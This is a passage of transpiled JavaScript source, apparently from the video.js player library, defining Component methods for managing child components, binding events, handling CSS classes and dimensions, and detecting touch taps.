  2898. *
  2899. * @param {String=} tagName Element's node type. e.g. 'div'
  2900. * @param {Object=} properties An object of properties that should be set
  2901. * @param {Object=} attributes An object of attributes that should be set
  2902. * @return {Element}
  2903. * @method createEl
  2904. */
  2905. Component.prototype.createEl = function createEl(tagName, properties, attributes) {
  2906. return Dom.createEl(tagName, properties, attributes);
  2907. };
  2908. Component.prototype.localize = function localize(string) {
  2909. var code = this.player_.language && this.player_.language();
  2910. var languages = this.player_.languages && this.player_.languages();
  2911. if (!code || !languages) {
  2912. return string;
  2913. }
  2914. var language = languages[code];
  2915. if (language && language[string]) {
  2916. return language[string];
  2917. }
  2918. var primaryCode = code.split('-')[0];
  2919. var primaryLang = languages[primaryCode];
  2920. if (primaryLang && primaryLang[string]) {
  2921. return primaryLang[string];
  2922. }
  2923. return string;
  2924. };
  2925. /**
  2926. * Return the component's DOM element where children are inserted.
  2927. * Will either be the same as el() or a new element defined in createEl().
  2928. *
  2929. * @return {Element}
  2930. * @method contentEl
  2931. */
  2932. Component.prototype.contentEl = function contentEl() {
  2933. return this.contentEl_ || this.el_;
  2934. };
  2935. /**
  2936. * Get the component's ID
  2937. * ```js
  2938. * var id = myComponent.id();
  2939. * ```
  2940. *
  2941. * @return {String}
  2942. * @method id
  2943. */
  2944. Component.prototype.id = function id() {
  2945. return this.id_;
  2946. };
  2947. /**
  2948. * Get the component's name. The name is often used to reference the component.
  2949. * ```js
  2950. * var name = myComponent.name();
  2951. * ```
  2952. *
  2953. * @return {String}
  2954. * @method name
  2955. */
  2956. Component.prototype.name = function name() {
  2957. return this.name_;
  2958. };
  2959. /**
  2960. * Get an array of all child components
  2961. * ```js
  2962. * var kids = myComponent.children();
  2963. * ```
  2964. *
  2965. * @return {Array} The children
  2966. * @method children
  2967. */
  2968. Component.prototype.children = function children() {
  2969. return this.children_;
  2970. };
  2971. /**
  2972. * Returns a child component with the provided ID
  2973. *
  2974. * @return {Component}
  2975. * @method getChildById
  2976. */
  2977. Component.prototype.getChildById = function getChildById(id) {
  2978. return this.childIndex_[id];
  2979. };
  2980. /**
  2981. * Returns a child component with the provided name
  2982. *
  2983. * @return {Component}
  2984. * @method getChild
  2985. */
  2986. Component.prototype.getChild = function getChild(name) {
  2987. return this.childNameIndex_[name];
  2988. };
  2989. /**
  2990. * Adds a child component inside this component
  2991. * ```js
  2992. * myComponent.el();
  2993. * // -> <div class='my-component'></div>
  2994. * myComponent.children();
  2995. * // [empty array]
  2996. *
  2997. * var myButton = myComponent.addChild('MyButton');
  2998. * // -> <div class='my-component'><div class="my-button">myButton<div></div>
  2999. * // -> myButton === myComponent.children()[0];
  3000. * ```
  3001. * Pass in options for child constructors and options for children of the child
  3002. * ```js
  3003. * var myButton = myComponent.addChild('MyButton', {
  3004. * text: 'Press Me',
  3005. * buttonChildExample: {
  3006. * buttonChildOption: true
  3007. * }
  3008. * });
  3009. * ```
  3010. *
  3011. * @param {String|Component} child The class name or instance of a child to add
  3012. * @param {Object=} options Options, including options to be passed to children of the child.
  3013. * @param {Number} index into our children array to attempt to add the child
  3014. * @return {Component} The child component (created by this process if a string was used)
  3015. * @method addChild
  3016. */
  3017. Component.prototype.addChild = function addChild(child) {
  3018. var options = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];
  3019. var index = arguments.length <= 2 || arguments[2] === undefined ? this.children_.length : arguments[2];
  3020. var component = undefined;
  3021. var componentName = undefined;
  3022. // If child is a string, create nt with options
  3023. if (typeof child === 'string') {
  3024. componentName = child;
  3025. // Options can also be specified as a boolean, so convert to an empty object if false.
  3026. if (!options) {
  3027. options = {};
  3028. }
  3029. // Same as above, but true is deprecated so show a warning.
  3030. if (options === true) {
  3031. _utilsLogJs2['default'].warn('Initializing a child component with `true` is deprecated. Children should be defined in an array when possible, but if necessary use an object instead of `true`.');
  3032. options = {};
  3033. }
  3034. // If no componentClass in options, assume componentClass is the name lowercased
  3035. // (e.g. playButton)
  3036. var componentClassName = options.componentClass || _utilsToTitleCaseJs2['default'](componentName);
  3037. // Set name through options
  3038. options.name = componentName;
  3039. // Create a new object & element for this controls set
  3040. // If there's no .player_, this is a player
  3041. var ComponentClass = Component.getComponent(componentClassName);
  3042. if (!ComponentClass) {
  3043. throw new Error('Component ' + componentClassName + ' does not exist');
  3044. }
  3045. // data stored directly on the videojs object may be
  3046. // misidentified as a component to retain
  3047. // backwards-compatibility with 4.x. check to make sure the
  3048. // component class can be instantiated.
  3049. if (typeof ComponentClass !== 'function') {
  3050. return null;
  3051. }
  3052. component = new ComponentClass(this.player_ || this, options);
  3053. // child is a component instance
  3054. } else {
  3055. component = child;
  3056. }
  3057. this.children_.splice(index, 0, component);
  3058. if (typeof component.id === 'function') {
  3059. this.childIndex_[component.id()] = component;
  3060. }
  3061. // If a name wasn't used to create the component, check if we can use the
  3062. // name function of the component
  3063. componentName = componentName || component.name && component.name();
  3064. if (componentName) {
  3065. this.childNameIndex_[componentName] = component;
  3066. }
  3067. // Add the UI object's element to the container div (box)
  3068. // Having an element is not required
  3069. if (typeof component.el === 'function' && component.el()) {
  3070. var childNodes = this.contentEl().children;
  3071. var refNode = childNodes[index] || null;
  3072. this.contentEl().insertBefore(component.el(), refNode);
  3073. }
  3074. // Return so it can stored on parent object if desired.
  3075. return component;
  3076. };
  3077. /**
  3078. * Remove a child component from this component's list of children, and the
  3079. * child component's element from this component's element
  3080. *
  3081. * @param {Component} component Component to remove
  3082. * @method removeChild
  3083. */
  3084. Component.prototype.removeChild = function removeChild(component) {
  3085. if (typeof component === 'string') {
  3086. component = this.getChild(component);
  3087. }
  3088. if (!component || !this.children_) {
  3089. return;
  3090. }
  3091. var childFound = false;
  3092. for (var i = this.children_.length - 1; i >= 0; i--) {
  3093. if (this.children_[i] === component) {
  3094. childFound = true;
  3095. this.children_.splice(i, 1);
  3096. break;
  3097. }
  3098. }
  3099. if (!childFound) {
  3100. return;
  3101. }
  3102. this.childIndex_[component.id()] = null;
  3103. this.childNameIndex_[component.name()] = null;
  3104. var compEl = component.el();
  3105. if (compEl && compEl.parentNode === this.contentEl()) {
  3106. this.contentEl().removeChild(component.el());
  3107. }
  3108. };
  3109. /**
  3110. * Add and initialize default child components from options
  3111. * ```js
  3112. * // when an instance of MyComponent is created, all children in options
  3113. * // will be added to the instance by their name strings and options
  3114. * MyComponent.prototype.options_ = {
  3115. * children: [
  3116. * 'myChildComponent'
  3117. * ],
  3118. * myChildComponent: {
  3119. * myChildOption: true
  3120. * }
  3121. * };
  3122. *
  3123. * // Or when creating the component
  3124. * var myComp = new MyComponent(player, {
  3125. * children: [
  3126. * 'myChildComponent'
  3127. * ],
  3128. * myChildComponent: {
  3129. * myChildOption: true
  3130. * }
  3131. * });
  3132. * ```
  3133. * The children option can also be an array of
  3134. * child options objects (that also include a 'name' key).
  3135. * This can be used if you have two child components of the
  3136. * same type that need different options.
  3137. * ```js
  3138. * var myComp = new MyComponent(player, {
  3139. * children: [
  3140. * 'button',
  3141. * {
  3142. * name: 'button',
  3143. * someOtherOption: true
  3144. * },
  3145. * {
  3146. * name: 'button',
  3147. * someOtherOption: false
  3148. * }
  3149. * ]
  3150. * });
  3151. * ```
  3152. *
  3153. * @method initChildren
  3154. */
  3155. Component.prototype.initChildren = function initChildren() {
  3156. var _this = this;
  3157. var children = this.options_.children;
  3158. if (children) {
  3159. (function () {
  3160. // `this` is `parent`
  3161. var parentOptions = _this.options_;
  3162. var handleAdd = function handleAdd(child) {
  3163. var name = child.name;
  3164. var opts = child.opts;
  3165. // Allow options for children to be set at the parent options
  3166. // e.g. videojs(id, { controlBar: false });
  3167. // instead of videojs(id, { children: { controlBar: false });
  3168. if (parentOptions[name] !== undefined) {
  3169. opts = parentOptions[name];
  3170. }
  3171. // Allow for disabling default components
  3172. // e.g. options['children']['posterImage'] = false
  3173. if (opts === false) {
  3174. return;
  3175. }
  3176. // Allow options to be passed as a simple boolean if no configuration
  3177. // is necessary.
  3178. if (opts === true) {
  3179. opts = {};
  3180. }
  3181. // We also want to pass the original player options to each component as well so they don't need to
  3182. // reach back into the player for options later.
  3183. opts.playerOptions = _this.options_.playerOptions;
  3184. // Create and add the child component.
  3185. // Add a direct reference to the child by name on the parent instance.
  3186. // If two of the same component are used, different names should be supplied
  3187. // for each
  3188. var newChild = _this.addChild(name, opts);
  3189. if (newChild) {
  3190. _this[name] = newChild;
  3191. }
  3192. };
  3193. // Allow for an array of children details to passed in the options
  3194. var workingChildren = undefined;
  3195. var Tech = Component.getComponent('Tech');
  3196. if (Array.isArray(children)) {
  3197. workingChildren = children;
  3198. } else {
  3199. workingChildren = Object.keys(children);
  3200. }
  3201. workingChildren
  3202. // children that are in this.options_ but also in workingChildren would
  3203. // give us extra children we do not want. So, we want to filter them out.
  3204. .concat(Object.keys(_this.options_).filter(function (child) {
  3205. return !workingChildren.some(function (wchild) {
  3206. if (typeof wchild === 'string') {
  3207. return child === wchild;
  3208. } else {
  3209. return child === wchild.name;
  3210. }
  3211. });
  3212. })).map(function (child) {
  3213. var name = undefined,
  3214. opts = undefined;
  3215. if (typeof child === 'string') {
  3216. name = child;
  3217. opts = children[name] || _this.options_[name] || {};
  3218. } else {
  3219. name = child.name;
  3220. opts = child;
  3221. }
  3222. return { name: name, opts: opts };
  3223. }).filter(function (child) {
  3224. // we have to make sure that child.name isn't in the techOrder since
  3225. // techs are registerd as Components but can't aren't compatible
  3226. // See https://github.com/videojs/video.js/issues/2772
  3227. var c = Component.getComponent(child.opts.componentClass || _utilsToTitleCaseJs2['default'](child.name));
  3228. return c && !Tech.isTech(c);
  3229. }).forEach(handleAdd);
  3230. })();
  3231. }
  3232. };
  3233. /**
  3234. * Allows sub components to stack CSS class names
  3235. *
  3236. * @return {String} The constructed class name
  3237. * @method buildCSSClass
  3238. */
  3239. Component.prototype.buildCSSClass = function buildCSSClass() {
  3240. // Child classes can include a function that does:
  3241. // return 'CLASS NAME' + this._super();
  3242. return '';
  3243. };
  3244. /**
  3245. * Add an event listener to this component's element
  3246. * ```js
  3247. * var myFunc = function(){
  3248. * var myComponent = this;
  3249. * // Do something when the event is fired
  3250. * };
  3251. *
  3252. * myComponent.on('eventType', myFunc);
  3253. * ```
  3254. * The context of myFunc will be myComponent unless previously bound.
  3255. * Alternatively, you can add a listener to another element or component.
  3256. * ```js
  3257. * myComponent.on(otherElement, 'eventName', myFunc);
  3258. * myComponent.on(otherComponent, 'eventName', myFunc);
  3259. * ```
  3260. * The benefit of using this over `VjsEvents.on(otherElement, 'eventName', myFunc)`
  3261. * and `otherComponent.on('eventName', myFunc)` is that this way the listeners
  3262. * will be automatically cleaned up when either component is disposed.
  3263. * It will also bind myComponent as the context of myFunc.
  3264. * **NOTE**: When using this on elements in the page other than window
  3265. * and document (both permanent), if you remove the element from the DOM
  3266. * you need to call `myComponent.trigger(el, 'dispose')` on it to clean up
  3267. * references to it and allow the browser to garbage collect it.
  3268. *
  3269. * @param {String|Component} first The event type or other component
  3270. * @param {Function|String} second The event handler or event type
  3271. * @param {Function} third The event handler
  3272. * @return {Component}
  3273. * @method on
  3274. */
  3275. Component.prototype.on = function on(first, second, third) {
  3276. var _this2 = this;
  3277. if (typeof first === 'string' || Array.isArray(first)) {
  3278. Events.on(this.el_, first, Fn.bind(this, second));
  3279. // Targeting another component or element
  3280. } else {
  3281. (function () {
  3282. var target = first;
  3283. var type = second;
  3284. var fn = Fn.bind(_this2, third);
  3285. // When this component is disposed, remove the listener from the other component
  3286. var removeOnDispose = function removeOnDispose() {
  3287. return _this2.off(target, type, fn);
  3288. };
  3289. // Use the same function ID so we can remove it later it using the ID
  3290. // of the original listener
  3291. removeOnDispose.guid = fn.guid;
  3292. _this2.on('dispose', removeOnDispose);
  3293. // If the other component is disposed first we need to clean the reference
  3294. // to the other component in this component's removeOnDispose listener
  3295. // Otherwise we create a memory leak.
  3296. var cleanRemover = function cleanRemover() {
  3297. return _this2.off('dispose', removeOnDispose);
  3298. };
  3299. // Add the same function ID so we can easily remove it later
  3300. cleanRemover.guid = fn.guid;
  3301. // Check if this is a DOM node
  3302. if (first.nodeName) {
  3303. // Add the listener to the other element
  3304. Events.on(target, type, fn);
  3305. Events.on(target, 'dispose', cleanRemover);
  3306. // Should be a component
  3307. // Not using `instanceof Component` because it makes mock players difficult
  3308. } else if (typeof first.on === 'function') {
  3309. // Add the listener to the other component
  3310. target.on(type, fn);
  3311. target.on('dispose', cleanRemover);
  3312. }
  3313. })();
  3314. }
  3315. return this;
  3316. };
  3317. /**
  3318. * Remove an event listener from this component's element
  3319. * ```js
  3320. * myComponent.off('eventType', myFunc);
  3321. * ```
  3322. * If myFunc is excluded, ALL listeners for the event type will be removed.
  3323. * If eventType is excluded, ALL listeners will be removed from the component.
  3324. * Alternatively you can use `off` to remove listeners that were added to other
  3325. * elements or components using `myComponent.on(otherComponent...`.
  3326. * In this case both the event type and listener function are REQUIRED.
  3327. * ```js
  3328. * myComponent.off(otherElement, 'eventType', myFunc);
  3329. * myComponent.off(otherComponent, 'eventType', myFunc);
  3330. * ```
  3331. *
  3332. * @param {String=|Component} first The event type or other component
  3333. * @param {Function=|String} second The listener function or event type
  3334. * @param {Function=} third The listener for other component
  3335. * @return {Component}
  3336. * @method off
  3337. */
  3338. Component.prototype.off = function off(first, second, third) {
  3339. if (!first || typeof first === 'string' || Array.isArray(first)) {
  3340. Events.off(this.el_, first, second);
  3341. } else {
  3342. var target = first;
  3343. var type = second;
  3344. // Ensure there's at least a guid, even if the function hasn't been used
  3345. var fn = Fn.bind(this, third);
  3346. // Remove the dispose listener on this component,
  3347. // which was given the same guid as the event listener
  3348. this.off('dispose', fn);
  3349. if (first.nodeName) {
  3350. // Remove the listener
  3351. Events.off(target, type, fn);
  3352. // Remove the listener for cleaning the dispose listener
  3353. Events.off(target, 'dispose', fn);
  3354. } else {
  3355. target.off(type, fn);
  3356. target.off('dispose', fn);
  3357. }
  3358. }
  3359. return this;
  3360. };
  3361. /**
  3362. * Add an event listener to be triggered only once and then removed
  3363. * ```js
  3364. * myComponent.one('eventName', myFunc);
  3365. * ```
  3366. * Alternatively you can add a listener to another element or component
  3367. * that will be triggered only once.
  3368. * ```js
  3369. * myComponent.one(otherElement, 'eventName', myFunc);
  3370. * myComponent.one(otherComponent, 'eventName', myFunc);
  3371. * ```
  3372. *
  3373. * @param {String|Component} first The event type or other component
  3374. * @param {Function|String} second The listener function or event type
  3375. * @param {Function=} third The listener function for other component
  3376. * @return {Component}
  3377. * @method one
  3378. */
  3379. Component.prototype.one = function one(first, second, third) {
  3380. var _this3 = this,
  3381. _arguments = arguments;
  3382. if (typeof first === 'string' || Array.isArray(first)) {
  3383. Events.one(this.el_, first, Fn.bind(this, second));
  3384. } else {
  3385. (function () {
  3386. var target = first;
  3387. var type = second;
  3388. var fn = Fn.bind(_this3, third);
  3389. var newFunc = function newFunc() {
  3390. _this3.off(target, type, newFunc);
  3391. fn.apply(null, _arguments);
  3392. };
  3393. // Keep the same function ID so we can remove it later
  3394. newFunc.guid = fn.guid;
  3395. _this3.on(target, type, newFunc);
  3396. })();
  3397. }
  3398. return this;
  3399. };
  3400. /**
  3401. * Trigger an event on an element
  3402. * ```js
  3403. * myComponent.trigger('eventName');
  3404. * myComponent.trigger({'type':'eventName'});
  3405. * myComponent.trigger('eventName', {data: 'some data'});
  3406. * myComponent.trigger({'type':'eventName'}, {data: 'some data'});
  3407. * ```
  3408. *
  3409. * @param {Event|Object|String} event A string (the type) or an event object with a type attribute
  3410. * @param {Object} [hash] data hash to pass along with the event
  3411. * @return {Component} self
  3412. * @method trigger
  3413. */
  3414. Component.prototype.trigger = function trigger(event, hash) {
  3415. Events.trigger(this.el_, event, hash);
  3416. return this;
  3417. };
  3418. /**
  3419. * Bind a listener to the component's ready state.
  3420. * Different from event listeners in that if the ready event has already happened
  3421. * it will trigger the function immediately.
  3422. *
  3423. * @param {Function} fn Ready listener
  3424. * @param {Boolean} sync Exec the listener synchronously if component is ready
  3425. * @return {Component}
  3426. * @method ready
  3427. */
  3428. Component.prototype.ready = function ready(fn) {
  3429. var sync = arguments.length <= 1 || arguments[1] === undefined ? false : arguments[1];
  3430. if (fn) {
  3431. if (this.isReady_) {
  3432. if (sync) {
  3433. fn.call(this);
  3434. } else {
  3435. // Call the function asynchronously by default for consistency
  3436. this.setTimeout(fn, 1);
  3437. }
  3438. } else {
  3439. this.readyQueue_ = this.readyQueue_ || [];
  3440. this.readyQueue_.push(fn);
  3441. }
  3442. }
  3443. return this;
  3444. };
  3445. /**
  3446. * Trigger the ready listeners
  3447. *
  3448. * @return {Component}
  3449. * @method triggerReady
  3450. */
  3451. Component.prototype.triggerReady = function triggerReady() {
  3452. this.isReady_ = true;
  3453. // Ensure ready is triggerd asynchronously
  3454. this.setTimeout(function () {
  3455. var readyQueue = this.readyQueue_;
  3456. // Reset Ready Queue
  3457. this.readyQueue_ = [];
  3458. if (readyQueue && readyQueue.length > 0) {
  3459. readyQueue.forEach(function (fn) {
  3460. fn.call(this);
  3461. }, this);
  3462. }
  3463. // Allow for using event listeners also
  3464. this.trigger('ready');
  3465. }, 1);
  3466. };
  3467. /**
  3468. * Finds a single DOM element matching `selector` within the component's
  3469. * `contentEl` or another custom context.
  3470. *
  3471. * @method $
  3472. * @param {String} selector
  3473. * A valid CSS selector, which will be passed to `querySelector`.
  3474. *
  3475. * @param {Element|String} [context=document]
  3476. * A DOM element within which to query. Can also be a selector
  3477. * string in which case the first matching element will be used
  3478. * as context. If missing (or no element matches selector), falls
  3479. * back to `document`.
  3480. *
  3481. * @return {Element|null}
  3482. */
  3483. Component.prototype.$ = function $(selector, context) {
  3484. return Dom.$(selector, context || this.contentEl());
  3485. };
  3486. /**
  3487. * Finds a all DOM elements matching `selector` within the component's
  3488. * `contentEl` or another custom context.
  3489. *
  3490. * @method $$
  3491. * @param {String} selector
  3492. * A valid CSS selector, which will be passed to `querySelectorAll`.
  3493. *
  3494. * @param {Element|String} [context=document]
  3495. * A DOM element within which to query. Can also be a selector
  3496. * string in which case the first matching element will be used
  3497. * as context. If missing (or no element matches selector), falls
  3498. * back to `document`.
  3499. *
  3500. * @return {NodeList}
  3501. */
  3502. Component.prototype.$$ = function $$(selector, context) {
  3503. return Dom.$$(selector, context || this.contentEl());
  3504. };
  3505. /**
  3506. * Check if a component's element has a CSS class name
  3507. *
  3508. * @param {String} classToCheck Classname to check
  3509. * @return {Component}
  3510. * @method hasClass
  3511. */
  3512. Component.prototype.hasClass = function hasClass(classToCheck) {
  3513. return Dom.hasElClass(this.el_, classToCheck);
  3514. };
  3515. /**
  3516. * Add a CSS class name to the component's element
  3517. *
  3518. * @param {String} classToAdd Classname to add
  3519. * @return {Component}
  3520. * @method addClass
  3521. */
  3522. Component.prototype.addClass = function addClass(classToAdd) {
  3523. Dom.addElClass(this.el_, classToAdd);
  3524. return this;
  3525. };
  3526. /**
  3527. * Remove a CSS class name from the component's element
  3528. *
  3529. * @param {String} classToRemove Classname to remove
  3530. * @return {Component}
  3531. * @method removeClass
  3532. */
  3533. Component.prototype.removeClass = function removeClass(classToRemove) {
  3534. Dom.removeElClass(this.el_, classToRemove);
  3535. return this;
  3536. };
  3537. /**
  3538. * Add or remove a CSS class name from the component's element
  3539. *
  3540. * @param {String} classToToggle
  3541. * @param {Boolean|Function} [predicate]
  3542. * Can be a function that returns a Boolean. If `true`, the class
  3543. * will be added; if `false`, the class will be removed. If not
  3544. * given, the class will be added if not present and vice versa.
  3545. *
  3546. * @return {Component}
  3547. * @method toggleClass
  3548. */
  3549. Component.prototype.toggleClass = function toggleClass(classToToggle, predicate) {
  3550. Dom.toggleElClass(this.el_, classToToggle, predicate);
  3551. return this;
  3552. };
  3553. /**
  3554. * Show the component element if hidden
  3555. *
  3556. * @return {Component}
  3557. * @method show
  3558. */
  3559. Component.prototype.show = function show() {
  3560. this.removeClass('vjs-hidden');
  3561. return this;
  3562. };
  3563. /**
  3564. * Hide the component element if currently showing
  3565. *
  3566. * @return {Component}
  3567. * @method hide
  3568. */
  3569. Component.prototype.hide = function hide() {
  3570. this.addClass('vjs-hidden');
  3571. return this;
  3572. };
  3573. /**
  3574. * Lock an item in its visible state
  3575. * To be used with fadeIn/fadeOut.
  3576. *
  3577. * @return {Component}
  3578. * @private
  3579. * @method lockShowing
  3580. */
  3581. Component.prototype.lockShowing = function lockShowing() {
  3582. this.addClass('vjs-lock-showing');
  3583. return this;
  3584. };
  3585. /**
  3586. * Unlock an item to be hidden
  3587. * To be used with fadeIn/fadeOut.
  3588. *
  3589. * @return {Component}
  3590. * @private
  3591. * @method unlockShowing
  3592. */
  3593. Component.prototype.unlockShowing = function unlockShowing() {
  3594. this.removeClass('vjs-lock-showing');
  3595. return this;
  3596. };
  3597. /**
  3598. * Set or get the width of the component (CSS values)
  3599. * Setting the video tag dimension values only works with values in pixels.
  3600. * Percent values will not work.
  3601. * Some percents can be used, but width()/height() will return the number + %,
  3602. * not the actual computed width/height.
  3603. *
  3604. * @param {Number|String=} num Optional width number
  3605. * @param {Boolean} skipListeners Skip the 'resize' event trigger
  3606. * @return {Component} This component, when setting the width
  3607. * @return {Number|String} The width, when getting
  3608. * @method width
  3609. */
  3610. Component.prototype.width = function width(num, skipListeners) {
  3611. return this.dimension('width', num, skipListeners);
  3612. };
  3613. /**
  3614. * Get or set the height of the component (CSS values)
  3615. * Setting the video tag dimension values only works with values in pixels.
  3616. * Percent values will not work.
  3617. * Some percents can be used, but width()/height() will return the number + %,
  3618. * not the actual computed width/height.
  3619. *
  3620. * @param {Number|String=} num New component height
  3621. * @param {Boolean=} skipListeners Skip the resize event trigger
  3622. * @return {Component} This component, when setting the height
  3623. * @return {Number|String} The height, when getting
  3624. * @method height
  3625. */
  3626. Component.prototype.height = function height(num, skipListeners) {
  3627. return this.dimension('height', num, skipListeners);
  3628. };
  3629. /**
  3630. * Set both width and height at the same time
  3631. *
  3632. * @param {Number|String} width Width of player
  3633. * @param {Number|String} height Height of player
  3634. * @return {Component} The component
  3635. * @method dimensions
  3636. */
  3637. Component.prototype.dimensions = function dimensions(width, height) {
  3638. // Skip resize listeners on width for optimization
  3639. return this.width(width, true).height(height);
  3640. };
  3641. /**
  3642. * Get or set width or height
  3643. * This is the shared code for the width() and height() methods.
  3644. * All for an integer, integer + 'px' or integer + '%';
  3645. * Known issue: Hidden elements officially have a width of 0. We're defaulting
  3646. * to the style.width value and falling back to computedStyle which has the
  3647. * hidden element issue. Info, but probably not an efficient fix:
  3648. * http://www.foliotek.com/devblog/getting-the-width-of-a-hidden-element-with-jquery-using-width/
  3649. *
  3650. * @param {String} widthOrHeight 'width' or 'height'
  3651. * @param {Number|String=} num New dimension
  3652. * @param {Boolean=} skipListeners Skip resize event trigger
  3653. * @return {Component} The component if a dimension was set
  3654. * @return {Number|String} The dimension if nothing was set
  3655. * @private
  3656. * @method dimension
  3657. */
  3658. Component.prototype.dimension = function dimension(widthOrHeight, num, skipListeners) {
  3659. if (num !== undefined) {
  3660. // Set to zero if null or literally NaN (NaN !== NaN)
  3661. if (num === null || num !== num) {
  3662. num = 0;
  3663. }
  3664. // Check if using css width/height (% or px) and adjust
  3665. if (('' + num).indexOf('%') !== -1 || ('' + num).indexOf('px') !== -1) {
  3666. this.el_.style[widthOrHeight] = num;
  3667. } else if (num === 'auto') {
  3668. this.el_.style[widthOrHeight] = '';
  3669. } else {
  3670. this.el_.style[widthOrHeight] = num + 'px';
  3671. }
  3672. // skipListeners allows us to avoid triggering the resize event when setting both width and height
  3673. if (!skipListeners) {
  3674. this.trigger('resize');
  3675. }
  3676. // Return component
  3677. return this;
  3678. }
  3679. // Not setting a value, so getting it
  3680. // Make sure element exists
  3681. if (!this.el_) {
  3682. return 0;
  3683. }
  3684. // Get dimension value from style
  3685. var val = this.el_.style[widthOrHeight];
  3686. var pxIndex = val.indexOf('px');
  3687. if (pxIndex !== -1) {
  3688. // Return the pixel value with no 'px'
  3689. return parseInt(val.slice(0, pxIndex), 10);
  3690. }
  3691. // No px so using % or no style was set, so falling back to offsetWidth/height
  3692. // If component has display:none, offset will return 0
  3693. // TODO: handle display:none and no dimension style using px
  3694. return parseInt(this.el_['offset' + _utilsToTitleCaseJs2['default'](widthOrHeight)], 10);
  3695. };
  3696. /**
  3697. * Get width or height of computed style
  3698. * @param {String} widthOrHeight 'width' or 'height'
  3699. * @return {Number|Boolean} The bolean false if nothing was set
  3700. * @method currentDimension
  3701. */
  3702. Component.prototype.currentDimension = function currentDimension(widthOrHeight) {
  3703. var computedWidthOrHeight = 0;
  3704. if (widthOrHeight !== 'width' && widthOrHeight !== 'height') {
  3705. throw new Error('currentDimension only accepts width or height value');
  3706. }
  3707. if (typeof _globalWindow2['default'].getComputedStyle === 'function') {
  3708. var computedStyle = _globalWindow2['default'].getComputedStyle(this.el_);
  3709. computedWidthOrHeight = computedStyle.getPropertyValue(widthOrHeight) || computedStyle[widthOrHeight];
  3710. } else if (this.el_.currentStyle) {
  3711. // ie 8 doesn't support computed style, shim it
  3712. // return clientWidth or clientHeight instead for better accuracy
  3713. var rule = 'offset' + _utilsToTitleCaseJs2['default'](widthOrHeight);
  3714. computedWidthOrHeight = this.el_[rule];
  3715. }
  3716. // remove 'px' from variable and parse as integer
  3717. computedWidthOrHeight = parseFloat(computedWidthOrHeight);
  3718. return computedWidthOrHeight;
  3719. };
  3720. /**
  3721. * Get an object which contains width and height values of computed style
  3722. * @return {Object} The dimensions of element
  3723. * @method currentDimensions
  3724. */
  3725. Component.prototype.currentDimensions = function currentDimensions() {
  3726. return {
  3727. width: this.currentDimension('width'),
  3728. height: this.currentDimension('height')
  3729. };
  3730. };
  3731. /**
  3732. * Get width of computed style
  3733. * @return {Integer}
  3734. * @method currentWidth
  3735. */
  3736. Component.prototype.currentWidth = function currentWidth() {
  3737. return this.currentDimension('width');
  3738. };
  3739. /**
  3740. * Get height of computed style
  3741. * @return {Integer}
  3742. * @method currentHeight
  3743. */
  3744. Component.prototype.currentHeight = function currentHeight() {
  3745. return this.currentDimension('height');
  3746. };
  3747. /**
  3748. * Emit 'tap' events when touch events are supported
  3749. * This is used to support toggling the controls through a tap on the video.
  3750. * We're requiring them to be enabled because otherwise every component would
  3751. * have this extra overhead unnecessarily, on mobile devices where extra
  3752. * overhead is especially bad.
  3753. *
  3754. * @private
  3755. * @method emitTapEvents
  3756. */
  3757. Component.prototype.emitTapEvents = function emitTapEvents() {
  3758. // Track the start time so we can determine how long the touch lasted
  3759. var touchStart = 0;
  3760. var firstTouch = null;
  3761. // Maximum movement allowed during a touch event to still be considered a tap
  3762. // Other popular libs use anywhere from 2 (hammer.js) to 15, so 10 seems like a nice, round number.
  3763. var tapMovementThreshold = 10;
  3764. // The maximum length a touch can be while still being considered a tap
  3765. var touchTimeThreshold = 200;
  3766. var couldBeTap = undefined;
  3767. this.on('touchstart', function (event) {
  3768. // If more than one finger, don't consider treating this as a click
  3769. if (event.touches.length === 1) {
  3770. // Copy pageX/pageY from the object
  3771. firstTouch = {
  3772. pageX: event.touches[0].pageX,
  3773. pageY: event.touches[0].pageY
  3774. };
  3775. // Record start time so we can detect a tap vs. "touch and hold"
  3776. touchStart = new Date().getTime();
  3777. // Reset couldBeTap tracking
  3778. couldBeTap = true;
  3779. }
  3780. });
  3781. this.on('touchmove', function (event) {
  3782. // If more than one finger, don't consider treating this as a click
  3783. if (event.touches.length > 1) {
  3784. couldBeTap = false;
  3785. } else if (firstTouch) {
  3786. // Some devices will throw touchmoves for all but the slightest of taps.
  3787. // So, if we moved only a small distance, this could still be a tap
  3788. var xdiff = event.touches[0].pageX - firstTouch.pageX;
  3789. var ydiff = event.touches[0].pageY - firstTouch.pageY;
  3790. var touchDistance = Math.sqrt(xdiff * xdiff + ydiff * ydiff);
  3791. if (touchDistance > tapMovementThreshold) {
  3792. couldBeTap = false;
  3793. }
  3794. }
  3795. });
  3796. var noTap = function noTap() {
  3797. couldBeTap = false;
  3798. };
  3799. // TODO: Listen to the original target. http://youtu.be/DujfpXOKUp8?t=13m8s
  3800. this.on('touchleave', noTap);
  3801. this.on('touchcancel', noTap);
  3802. // When the touch ends, measure how long it took and trigger the appropriate
  3803. // event
  3804. this.on('touchend', function (event) {
  3805. firstTouch = null;
  3806. // Proceed only if the touchmove/leave/cancel event didn't happen
  3807. if (couldBeTap === true) {
  3808. // Measure how long the touch lasted
  3809. var touchTime = new Date().getTime() - touchStart;
  3810. // Make sure the touch was less than the threshold to be considered a tap
  3811. if (touchTime < touchTimeThreshold) {
  3812. // Don't let browser turn this into a click
  3813. event.preventDefault();
  3814. this.trigger('tap');
  3815. // It may be good to copy the touchend event object and change the
  3816. // type to tap, if the other event properties aren't exact after
  3817. // Events.fixEvent runs (e.g. event.target)
  3818. }
  3819. }
  3820. });
  3821. };
  3822. /**
  3823. * Report user touch activity when touch events occur
  3824. * User activity is used to determine when controls should show/hide. It's
  3825. * relatively simple when it comes to mouse events, because any mouse event
  3826. * should show the controls. So we capture mouse events that bubble up to the
  3827. * player and report activity when that happens.
  3828. * With touch events it isn't as easy. We can't rely on touch events at the
  3829. * player level, because a tap (touchstart + touchend) on the video itself on
  3830. * mobile devices is meant to turn controls off (and on). User activity is
  3831. * checked asynchronously, so what could happen is a tap event on the video
  3832. * turns the controls off, then the touchend event bubbles up to the player,
  3833. * which if it reported user activity, would turn the controls right back on.
  3834. * (We also don't want to completely block touch events from bubbling up)
  3835. * Also a touchmove, touch+hold, and anything other than a tap is not supposed
  3836. * to turn the controls back on on a mobile device.
  3837. * Here we're setting the default component behavior to report user activity
  3838. * whenever touch events happen, and this can be turned off by components that
  3839. * want touch events to act differently.
  3840. *
  3841. * @method enableTouchActivity
  3842. */
